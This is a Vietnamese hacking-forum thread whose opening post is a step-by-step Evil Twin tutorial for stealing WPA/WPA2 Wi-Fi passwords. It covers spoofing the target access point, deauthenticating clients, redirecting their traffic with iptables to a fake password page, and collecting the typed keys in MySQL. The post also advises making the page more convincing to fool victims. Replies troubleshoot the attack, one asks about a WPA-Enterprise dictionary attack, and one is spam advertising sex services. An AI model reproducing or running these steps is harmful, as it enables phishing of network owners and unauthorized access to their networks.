[Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

[DDos]

Khi các phương pháp cracking WPA/WPA2 thất bại, thì phương pháp này được nhắc tới và sử dụng. Crack WAP key sử phương pháp Evil Twin cho phép bạn giả mạo mạng mục tiêu và chuyển hướng một client đã kết nối tới AP hợp lệ tới AP giả mạo, nơi mà máy khách sẽ bị nhắc để nhập một mật khẩu Wifi của AP thật và nó sẽ lưu vào cơ sở dữ liệu của nó.

Nào chúng ta bắt đầu.

Đầu tiên, chúng ta cần cài đặt dhcp3-server để lưu trữ các key được nhập trong cơ sở dữ liệu mysql và sẽ hiển thị ra trang web giả mạo sử dụng apache2.

Nhập:
apt-get install dhcp3-server -y

Sau khi cài đặt thành công, bạn cần chỉnh sửa file dhcpd.conf mà nó cần thiết cho quá trình tấn công hoạt động, tuy nhiên chúng ta cần tạo một bản sao của file dhcpd.conf ban đầu.
Nhập:

mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup

Bây giờ chỉnh sửa file dhcpd.conf

Nhập:

gedit /etc/dhcp3/dhcpd.conf

Copy và paste chúng vào file này, sau đó lưu lại.

ddns-update-style ad-hoc;
default-lease-time 600;

max-lease-time 7200;
subnet 192.168.2.128 netmask 255.255.255.128 {
option subnet-mask 255.255.255.128;
option broadcast-address 192.168.2.255;
option routers 192.168.2.129;
option domain-name-servers 8.8.8.8;
range 192.168.2.130 192.168.2.140;
}

Bây giờ, sẽ cần để tạo cơ sở dữ liệu của chúng ta. Đi tới đường dẫn Applications>BackTrack>Services>MySQLD>mysqld start. Một cửa sổ terminal sẽ hiện ra nói rằng đăng khởi chạy mysqld. Đừng đóng nó, nó sẽ tự động đóng.

Tạo cơ sở dữ liệu:

Nhập:

mysql -u root -p

Nó sẽ yêu cầu bạn nhập mật khẩu, mật khẩu là "toor"

Nhập:

create database wpa2;
use wpa2;

create table content(key1 VARCHAR(64), key2 VARCHAR(64));

Bây giờ, đi tới đường dẫn Applications>BackTrack>Services>MySQLD>mysqld stop.

Tiếp đến, chúng ta cần một trang web giả mạo mà nó yêu cầu mật khẩu Wifi.

Tải về website này tại đây:

http://adf.ly/bs5lf

Giải nén sau đó copy vào đường dẫn /var/www

Chú ý: Bạn cần thay đổi webpage verizon thành một thứ gì đó hấp dẫn hơn để cho nạn nhân dễ dàng tin và nhập mật khẩu Wifi.

Bây giờ, chúng ta cần tạo AP giả mạo.

Đầu tiên, thực hiện scan nhanh và xác định mạng chúng ta muốn giả mạo.

Nhập:

airodump-ng mon0

Khi xác định được mạng mục tiêu, bấm Ctrl+C

Bạn cần xác định ESSID, BSSID, CHANNEL của mạng mục tiêu.

Nhập


airbase-ng -e "ESSID" -c CHANNEL -a BSSID mon0
Bây giờ, mở terminal mới (không tắt terminal trước đó)

Nhập:

ifconfig at0 up

ifconfig at0 192.168.2.129 netmask 255.255.255.128

route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129

dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0

/etc/init.d/dhcp3-server start

iptables –-flush

iptables --table nat –-flush

iptables –-delete-chain

iptables --table nat –-delete-chain

iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE

iptables --append FORWARD --in-interface at0 -j ACCEPT

echo 1 > /proc/sys/net/ipv4/ip_forward

Tiếp đến chúng ta đi tới đường dẫn

Applications>BackTrack>Services>MySQLD>mysqld start
và

Applications>BackTrack>Services>HTTPD>httpd start

Tiếp theo, chuyển hướng tất cả lưu lượng mạng tới fake web-page.

Nhập:


iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 000.000.00.000:80

iptables -t nat -A POSTROUTING -j MASQUERADE


Chú ý: "--to-destination 000.000.00.000:80"- bạn cần thay địa chỉ IP của bạn. Bạn phải kết nối tới internet bằng mạng dây.

Bây giờ, kiểm tra web page có làm việc hay không. Mở trình duyệt web và nhập "000.000.00.000:80" nó sẽ hiển thị fake webpage.

Kiểm tra mạng mục tiêu cho bất kỳ clien nào.

Nhập:

airodump-ng –bssid “here” -c “here” mon0

aireplay-ng -0 0 -a "BSSID" -c “here” mon0

Bây giờ, quay trở lại terminal lúc mà bạn nhập “airbase-ng -e "ESSID" -c CHANNEL -a BSSID mon0” và kiểm tra tến trình nó nên bắt đầu chỉ ra rằng các client đang cố gắng liên kết với một mạng được bảo mật, bạn sẽ biết điều này vì nó sẽ hiển thị WPA2 được mã hóa!

Những gì chúng ta đang tìm kiếm là các client mà liên kết với các mạng không an toàn mà chúng ta đã giả mạo! Mỗi khi bạn thấy điều đó, tiến hành phép kiểm tra xem client đã nhập vào mật khẩu! Mở cửa sổ terminal mới.

Nhập:

mysql -u root -p
Mật khẩu là toor

Nhập:

use wpa2;

Nhập:

select * from content;

Hai cột sẽ xuất hiện là KEY1 và KEY2, nếu hai cột này trống bạn tiếp tục đợi, nhưng nếu có bất kỳ ai nhập mật khẩu Wifi, bạn sẽ có được mật khẩu cho AP thật.

Tham khảo: howtohackwifi
​

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

Bác DDos cho em hỏi là sao em cài đặt thằng dhcp3-server trong kali linux không được ?

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

Bác DDos cho em hỏi là sao em cài đặt thằng dhcp3-server trong kali linux không được ?

Trong Kali bạn nhập lệnh sau:
apt-get install isc-dhcp-server

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

DDos hướng dẫn cấu hình dhcp trên kali linux đi ạ

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

Cấu hình a DHCP server trong Kali Linux




Cài đặt dhcp server:
# apt-get install isc-dhcp-server

Xác định địa chỉ IP tĩnh cho server
# nano /etc/network/interfaces

auto eth0
iface eth0 inet static
address 192.168.0.2 # server's IP address
netmask 255.255.255.0
network 192.168.0.0
broadcast 192.168.1.255
gateway 192.168.0.1 #router's IP address

Cấu hình thiết lập dhcp server tại /etc/dhcp/dhcpd.conf
# nano /etc/dhcp/dhcpd.conf

default-lease-time 600;

max-lease-time 7200;
option domain-name-servers 192.168.1.1, 192.168.1.2;
option domain-name "yourdomainname.com";

subnet 192.168.0.0 netmask 255.255.255.0 {
range 192.168.0.150 192.168.0.200; #Range of client's IP addresses: 150 to 200
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.0.255;
option routers 192.168.0.1;
}

Restart dhcp-server
# /etc/init.d/isc-dhcp-server restart

Restart eth0
#ifconfig down eth0
#ifconfig up eth0

Chúc bạn thành công!

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

link down web giả mạo mà nó yêu cầu mật khẩu Wifi sao ko down duoc vay ban

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

Mong bác có thể viết tiếp về WPA-Enterpsire, sử dụng kỹ thuật tấn công từ điển với freeradius-server!
Mình setup freeradius-server để thực hiện tấn công từ điển WPA2, Mình setup freeradius-server véion 2.2.4 and 3.0.3 thì khi chay radius ở chế độ debugging (radiusd -X) radius không thực hiện log thông tin vào file /usr/local/var/log/radius/radius.log. Mình thực hiện chạy /usr/local/sbin/radiusd start thì radius có ghi log vào file /usr/local/var/log/radius/radius.log. Tuy nhiên khi mình login vào thì không thấy radius ghi thông tin về username, challnege, response (sử dụng challnege, response để tấn công từ điển). bạn nào đã nghiên cứu phần này có thể chỉ giúp mình cách lấy thông tin trên. thanks

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

Bác DDos up lại cái video được ko?

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

Thanks anh

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

cách này không dùng wifi được hả anh. Sao e thấy chú ý là phải kết nối bằng mạng dây.

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

cách này không dùng wifi được hả anh. Sao e thấy chú ý là phải kết nối bằng mạng dây.

Khi tạo một trang web giả mạo thì cần phải có một kết nối mạng để cho web site đó hoạt động chứ em...

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

Khi tạo một trang web giả mạo thì cần phải có một kết nối mạng để cho web site đó hoạt động chứ em...

ý em là em kết ối bằng wifi chớ không dùng mạng dây ak anh.
em làm tới lệnh này thì bị lỗi "Tiếp theo, chuyển hướng tất cả lưu lượng mạng tới fake web-page.
Nhập:


iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 000.000.00.000:80"

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

http://gaigoi99.forumvi.com/t48-topic]http://gaigoi99.forumvi.com/t48-topic Trâm Anh 500k giá trị đích thực của đồng tiền là đây . Xinh , cao làm tình Pro. SĐT: 0963 535 524. Giá: 500k cho 1 xuất nhé . khu vực Trần Duy Hưng http://gaigoi99.forumvi.com/t48-topic[/url]

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

ý em là em kết ối bằng wifi chớ không dùng mạng dây ak anh.
em làm tới lệnh này thì bị lỗi "Tiếp theo, chuyển hướng tất cả lưu lượng mạng tới fake web-page.
Nhập:


iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 000.000.00.000:80"

Em đã tạo được web giả mạo chưa? Chú ý làm từng bước trong video nữa nhé!

 

Re: [Advanced] Hacking WPA Key – Sử dụng phương pháp Evil Twin

Em đã tạo được web giả mạo chưa? Chú ý làm từng bước trong video nữa nhé!

rồi anh. Em vừa tham khảo bài viết của anh với làm theo video tới bước đó thì bị lỗi.
àh. cho em hỏi thêm hình như chỉ làm được với tên wifi không có dấu cách thì phải. Em chọn tên wifi có dấu cách ko được mà chọn tên wifi ko có dấu cách lại được.